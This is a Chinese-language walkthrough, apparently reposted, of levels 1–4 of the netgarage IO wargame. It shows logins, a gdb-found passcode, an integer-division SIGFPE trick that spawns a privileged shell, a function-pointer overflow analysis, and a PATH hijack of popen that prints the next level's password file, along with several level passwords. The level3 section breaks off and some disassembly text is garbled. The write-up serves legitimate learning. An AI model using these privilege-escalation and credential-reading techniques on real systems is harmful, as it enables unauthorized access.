netgarage攻略 -- level1~1evel4

来源:互联网 发布:天刀妖娆御姐捏脸数据 编辑:程序博客网 时间:2024/04/28 14:26

netgarage攻略 – level1~1evel4

  • netgarage攻略 level11evel4
      • 介绍
      • level1
          • 现在的版本
          • 以前的版本
      • level2
      • level3
      • level4

介绍

netgarage(原来是smashthestack,一段时间没上连网站也改名了)是个IO wargame,关键是要通过一些方式来利用漏洞获取运行程序的控制权,然后你就可以让它做任何事了。(有点不好就是挂机长就会没反应,要重新登录)
例如你可以通过它来获得一个shell。

  • 各关关卡 都包含在目录 /levels 下
  • 密码都放在每关的 /home/levelx 目录下的一个叫.pass的文件
    例如 /home/level2/.pass 包含了进入level2关卡的密码
  • 聊天室:
    在我们irc网络里,聊天室的名字叫irc.netgarage.org,用ssl连接6697端口即可
    你也可以用webclient来连接http://www.netgarage.org/cgiirc/
  • 论坛:
    论坛的网站地址 http://forum.netgarage.org/
    使用聊天室将能更快更好地帮助你
  • ASLR(Address space layout randomization)已经关闭,大部分关卡都有一个可执行堆栈区(使溢出攻击能成功进行)

因为用到SSH,所以要先安装后才能登录去玩。

每一关,我们可以通过各种知识,获得密码进入下一关,同时在/home/levelx/tags留下足迹
level1@io:~$echo "bottomheater" >> tags

可以写各种各样的,最终会在显示。

不过注意,如果一段时间没有输入的话,终端会自动关闭连接。


level1

现在的网站为io.netgarage.org,原来玩的时候还是io.smashthestack.org

现在的版本

连接netgarage
ssh level1@io.netgarage.org
初次登录需要认证

The authenticity of host ‘io.netgarage.org (138.201.80.190)’ can’t be established.
ECDSA key fingerprint is 2b:f6:34:67:0c:21:82:e5:a8:4f:34:3b:cc:82:3a:13.
Are you sure you want to continue connecting (yes/no)? y
Please type ‘yes’ or ‘no’: yes

在输入密码level1,即可登录成功

level1@io:~$

现在就要获取level2的密码
提示在/levels/level01
level1@io:/levels$ ./level01

Enter the 3 digit passcode to enter:

需要三位数的密码
毫无头绪,试着看回源程序的汇编。用gdb反汇编
level1@io:/levels$ gdb level01
(gdb) disas main

Dump of assembler code for function main:
0x08048080 <+0>: push 0x80491280x08048085<+5>:call0x804810f0x0804808a<+10>:call0x804809f0x0804808f<+15>:cmp0x10f,%eax
0x08048094 <+20>: je 0x80480dc
0x0804809a <+26>: call 0x8048103

发现有0x0804808f <+15>: cmp $0x10f,%eax,将0x10f和输入比较,很明显0x10f就是密码,将其转为10进制就是271

level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 271

Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.3$

成功获取控制权,查看下一关level2的密码
sh-4.3$ cd /home/
sh-4.3$ cd level2
sh-4.3$ cat .pass

XNWFtWKWHhaaXoKI

这就是密码,每台机子都不一样的,就算一段时间没上还是能用回原来的(不然我也不会po上来==)

以前的版本

以前尝试的过程
ssh level1@io.smashthestack.org level1
显示

The authenticity of host ‘io.smashthestack.org (176.9.4.153)’ can’t be established.
RSA key fingerprint is f6:15:58:14:fe:ea:7b:dc:11:b6:d4:69:03:9c:61:e9.
Are you sure you want to continue connecting (yes/no)?
Host key verification failed.

cat /home/wang/.ssh/known_hosts
没有记录

ssh -o StrictHostKeyChecking=no level1@io.smashthestack.org level1
显示 Welcome at IO!
不过还有问题
(passwords were recently rotated)
按道理直接就是level1,不过就是不行(机子问题?)。

换个方法,试着再登录
ssh -l level1 io.smashthestack.org -p2224
这回输入level1作密码就行了。(其他关卡也是这样流程)

鉴于网速一卡一卡的,先下载到本地研究
scp level1@io.smashthestack.org:../../../levels/level1 level1


level2

登录
ssh level2@io.netgarage.org
先运行/levels/level02

source code is available in level02.c

提示查看源代码
cat /levels/level02.c
可以看到两个函数catchar和main

void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf(“WIN!\n”);
system(“/bin/sh”);
exit(0);
}

int main(int argc, char **argv)
{
puts(“source code is available in level02.c\n”);

if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}

分析可知,main需要输入3个参数,其中第一个参数就是可执行文件名,而第三个必须是非0整数,不然会退出。同时必须调用sh执行的话,就必须调用catcher。根据signal(SIGFPE, catcher);,也就是必须产生SIGFPE信号才行,查阅后得知可以通过浮点溢出产生,而-2147483648是32位操作系统中最小的符号型整型常量。

level2@io:/levels$ ./level02 -2147483648 -1

source code is available in level02.c

WIN!

sh-4.2$ id

uid=1003(level3) gid=1002(level2) groups=1003(level3),1002(level2),1029(nosu)

sh-4.2$ cat /home/level3/.pass

OlhCmdZKbuzqngfz


level3

运行/levels/level03

毫无反应,那就看源代码

cat level03.c

void good()
{
puts(“Win.”);
execl(“/bin/sh”, “sh”, NULL);
}
void bad()
{
printf(“I’m so sorry, you’re at %p and you want to be at %p\n”, bad, good);
}

int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
return 0;

memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);

printf(“This is exciting we’re going to %p\n”, functionpointer);
functionpointer();

return 0;
}

分析出目的是通过good调用shell,而在题目中functionpointer=bad,只是调用了bad,所以应该改写这个指针,很明显应该是用memcpy覆盖的,将argv[1]的数据覆盖buffer,并且溢出覆盖至functionpointer,这是就需要找出bad在内存栈中的函数指针的地址。
同时第二个参数要长于4。
先带参运行
/levels/level03 aaaa

This is exciting we’re going to 0x80484a4
I’m so sorry, you’re at 0x80484a4 and you want to be at 0x8048474

看起来0x80484a40x8048474是关键。
level3@io:~$ gdb /levels/level03
(gdb) disas main

0x0804852b <+99>: call 0x804838c

level4

运行
level4@io:/tmp$ /levels/level04

Welcome level5

试着gdb也看不出什么,看回源码

int main() {
char username[1024];
FILE* f = popen(“whoami”,”r”);
fgets(username, sizeof(username), f);
printf(“Welcome %s”, username);
return 0;
}

popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程。popen执行whoami,要想获得shell,就只能伪装whoami这程序来获取。由于poepn会执行命令,只要让其执行cat /home/level5/.pass,就可以将username改为密码并显示出来。
在/tmp下新建whoami
level4@io:/levels$ cd /tmp
level4@io:/levels$ mkdir foo/
level4@io:/levels$ cd foo
插入cat
level4@io:/tmp$ echo "cat /home/level5/.pass" > /tmp/foo/whoami
使其可执行
level4@io:/levels$ chmod +x /tmp/level04/whoami
添加到原来的whoami的执行路径前
level4@io:/levels$ export PATH="/tmp/foo:$PATH"
level4@io:/levels$ echo $PATH

再次执行
level4@io:/tmp/fooo$ /levels/level04

Welcome DNLM3Vu0mZfX0pDd

get!


0 0